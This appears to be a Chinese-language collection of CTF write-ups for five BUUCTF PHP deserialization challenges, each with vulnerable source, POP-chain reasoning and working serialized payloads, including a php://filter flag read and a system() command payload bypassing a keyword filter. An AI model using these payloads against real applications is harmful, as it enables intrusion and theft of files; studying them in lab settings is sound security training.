BUUCTF [极客大挑战 2019]PHP 1 根据题目提示 利用御剑工具扫描站点目录发现存在后缀名www.zip
访问后下载一个压缩包 里面存在文件
打开flag.php发现flag但是很明显是假的
接着打开class.php和index.php发现php反序列化漏洞
按照笔记中的做题步骤 把代码复制到本地操作
通过代码审计需要将username=admin password=100 所以可构造pop链
运行后得到
由于username和password属于私有属性所以在序列化时会出现空字符 上传时会出现错误 需要在空字符的地方替换为%00
并且需要绕过__wake_up() 所以在上传反序列化字符串时要修改属性个数值大于实际属性个数
最终payload 得到flag
1 /?select=O:4 :"Name" :3 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;s:3 :"100" ;}
BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 1 通过代码审计加了点注释 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
题目提示flag在文件flag.php中问题在于我们要如何读取flag
由于read()方法中有file_get_contents($this->filename); 可读取文件的函数 并且当op=2时能够指向read()方法 所以我们只需使op=2 filename=flag.php
于是把代码复制到本地 并构造pop链
得出pop链 (由于protected属性生成pop链时会出现空字符 所以修改protect为public在进行输出)
1 O:11 :"FileHandler" :3 :{s:2 :"op" ;i:2 ;s:8 :"filename" ;s:8 :"flag.php" ;s:7 :"content" ;N;}
传入pop链 打开源代码后发现flag
BUUCTF [MRCTF2020]Ezpop 1 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 Welcome to index.php<?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); }else { $a =new Show ; highlight_file (__FILE__ );
先看Modifier类
1 2 3 4 5 6 7 8 9 class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }
Modifier类中存在include()文件包含漏洞函数 并且题目提示flag位于flag.php文件中 所以我们可利用php伪协议来读取flag 并且还存在__invoke 魔术方法可以触发include函数 __invoke魔术方法在把对象当初函数调用时触发 我们找到了pop链的尾部(将php伪协议赋值给参数var) 所以我们要接着寻找能触发invoke函数的方法
再看Test类
1 2 3 4 5 6 7 8 9 10 11 class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }
在__get 魔术方法中存在$function()可以将对象当成函数来使用 我们只需$p=new Modifier即可触发
但由于__get 魔术方法在调用不可访问、不存在的对象成员属性时触发 我们还需寻找触发__get魔术方法的方法
最后看Show类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
由于类中的__ToString() 魔术方法 调用了source属性 并且Test类中没有source属性 所以我们要想触发__get 魔术方法需要使得$ str=new Test 要想触发 __ToString 魔术方法需要把对象当成字符串调用 正好Show类的construct方法存在字符串拼接 所以我们需将 $source=new Show
接下来将代码复制到本地 并注释掉一些无关的东西开始构建pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; }class Show { public $source ; public $str ; }class Test { public $p ; }$a =new Show ();$a ->source=new Show ();$a ->source->str=new Test ();$a ->source->str->p=new Modifier ();echo urlencode (serialize ($a ));
运行得到pop链
上传参数pop
1 ?pop=O%3 A4%3 A%22 Show%22 %3 A2%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BO%3 A4%3 A%22 Show%22 %3 A2%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BN%3 Bs%3 A3%3 A%22 str%22 %3 BO%3 A4%3 A%22 Test%22 %3 A1%3 A%7 Bs%3 A1%3 A%22 p%22 %3 BO%3 A8%3 A%22 Modifier%22 %3 A1%3 A%7 Bs%3 A6%3 A%22 %00 %2 A%00 var %22 %3 Bs%3 A57%3 A%22 php%3 A%2 F%2 Ffilter%2 Fread%3 Dconvert.base64-encode%2 Fresource%3 Dflag.php%22 %3 B%7 D%7 D%7 Ds%3 A3%3 A%22 str%22 %3 BN%3 B%7 D
得到一段密文 解码后获得flag
BUUCTF [NewStarCTF 公开赛赛道]UnserializeOne 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var ) { ($this ->func)(); } }class Sec { private $obj ; private $var ; public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( ) { echo file_get_contents ('/flag' ); } }class Easy { public $cla ; public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; } }class eeee { public $obj ; public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } }if (isset ($_POST ['pop' ])){ unserialize ($_POST ['pop' ]); }
通过代码审计我们发现在Sec类中存在输出flag的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class Sec { private $obj ; private $var ; public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( ) { echo file_get_contents ('/flag' ); } }
由于要触发魔术方法__invoke 所以需要将对象当成函数来调用
接着我们发现Start类中存在将对象当成函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var ) { ($this ->func)(); } }
所以我们有func=new Sec; 所以我们还要寻找触发 __isset() 魔术方法的方法
由于 __isset()魔术方法 当对不可访问属性调用isset()或empty()时触发
于是我们发现eeee类中存在isset
1 2 3 4 5 6 7 8 9 10 class eeee { public $obj ; public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } }
所以我们接着有obj=new Start; 接着我们需要寻找触发 __clone 的魔术方法
由于 __clone 魔术方法在使用clone关键字拷贝完一个对象后触发 所以我们接着发现Easy类中发现存在clone函数
1 2 3 4 5 6 7 8 class Easy { public $cla ; public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; } }
所以我们接着有 var=new eeee; 接着我们要寻找触发 __call 魔术方法的方法
由于 __call 魔术方法在调用对象不可访问、不存在的方法时触发 所以我们接着发现Sec类中
1 2 3 4 5 public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; }
所以我们有obj=new Easy; 接着我们要寻找触发 __toString 魔术方法的方法 接着发现Start类中
1 2 3 4 5 6 7 8 9 class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } }
所以我们有name=new Start; 得到大概思路
接着把代码复制到本地 注释掉无关的代码 构建payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php class Start { public $name ; public $func ; }class Sec { public $obj ; public $var ; }class Easy { public $cla ; }class eeee { public $obj ; }$a =new Start ;$a ->name=new Sec ;$a ->name->obj=new Easy ;$a ->name->var =new eeee;$a ->name->var ->obj=new Start ;$a ->name->var ->obj->func=new Sec ;echo serialize ($a );
运行获得pop链
上传参数payload
1 pop=O:5 :"Start" :2 :{s:4 :"name" ;O:3 :"Sec" :2 :{s:3 :"obj" ;O:4 :"Easy" :1 :{s:3 :"cla" ;N;}s:3 :"var" ;O:4 :"eeee" :1 :{s:3 :"obj" ;O:5 :"Start" :2 :{s:4 :"name" ;N;s:4 :"func" ;O:3 :"Sec" :2 :{s:3 :"obj" ;N;s:3 :"var" ;N;}}}}s:4 :"func" ;N;}
最后获得flag
BUUCTF [NewStarCTF 2023 公开赛道]Unserialize? 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]);?>
代码审计发现evil类中的__destruct方法内存在system函数漏洞
于是把代码复制到本地 将需要执行的命令赋值给cmd
先输入命令 ls /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class evil { public $cmd ="ls /" ; }$a =new evil ();echo serialize ($a );?>
接着传入参数
发现根目录下储存在类似于flag的文件
由于这里过滤了许多可以查看读取flag的关键字 所以我们这里使用head 所以给cmd赋值
1 cmd="head /th1s_1s_fffflllll4444aaaggggg"
传参
得到flag